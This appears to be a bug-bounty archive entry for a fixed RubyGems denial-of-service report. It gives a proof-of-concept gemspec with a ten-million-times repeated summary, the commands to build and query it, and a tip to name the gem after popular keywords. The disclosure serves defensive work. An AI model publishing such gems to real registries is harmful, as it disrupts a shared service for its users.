No limit of summary length allows Denail of Service
The RubyGems repository does not limit the length of a gem's summary field. An attacker can publish a gem with an extremely large summary, causing the `gem search` command to hang or become unresponsive for users who search for a matching substring.
- Fixed in 2 months
- Disclosed after 2 months
Currently, there is no limit for summary length. I think, pushing a gem whose summary is huge, will make gem search unavailable.
This is not Arbitrary Code Execution, but really easy to attack. According to CVSS v3.0 Calculator, the severity is High (7.5).
How to attack
- An attacker creates a gem with huge summary string, and push it to rubygems.org.
- A victim runs
gem search -d <substring-of-the-name-of-the-gem>, but it will give no response.
It may be good for the gem name to include a frequently-searched keyword, such as "foo-rails-bar" or "foo-sinatra-bar".
Proof of concept
- Prepare the following gemspec.
Gem::Specification.new do |spec|
spec.name = "huge-summary"
spec.version = "0.0.1"
spec.authors = ["Yusuke Endoh"]
spec.email = ["[email protected]"]
spec.summary = "foo" * 10000000
spec.homepage = "http://example.com/"
spec.license = "MIT"
end
- Run the following commands
gem build huge-summary.gemspec
gem install huge-summary-0.0.1.gem
- Run the following command.
gem query huge-summary -d
It will not answer.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely, the RubyGems server and client do not enforce a maximum length for the gem summary field, allowing an attacker to store an excessively large value that overwhelms the search process.
Impact
An attacker could cause a denial of service, making the `gem search` command unresponsive for users who search for a matching substring.
What the attacker needed
Ability to publish a gem to rubygems.org; victim runs gem search with -d flag
How it was found
- Create a gem specification with a very large summary string.
- Build and install the gem locally.
- Run a gem query with the -d flag for that gem, which produces no response.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A gem is a package for Ruby. The summary is a description shown when searching. There is no limit on summary length, so someone can upload a gem with a massive summary. When another person searches for a word matching that gem's name, their search tool may give no response, making the search freeze or fail.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.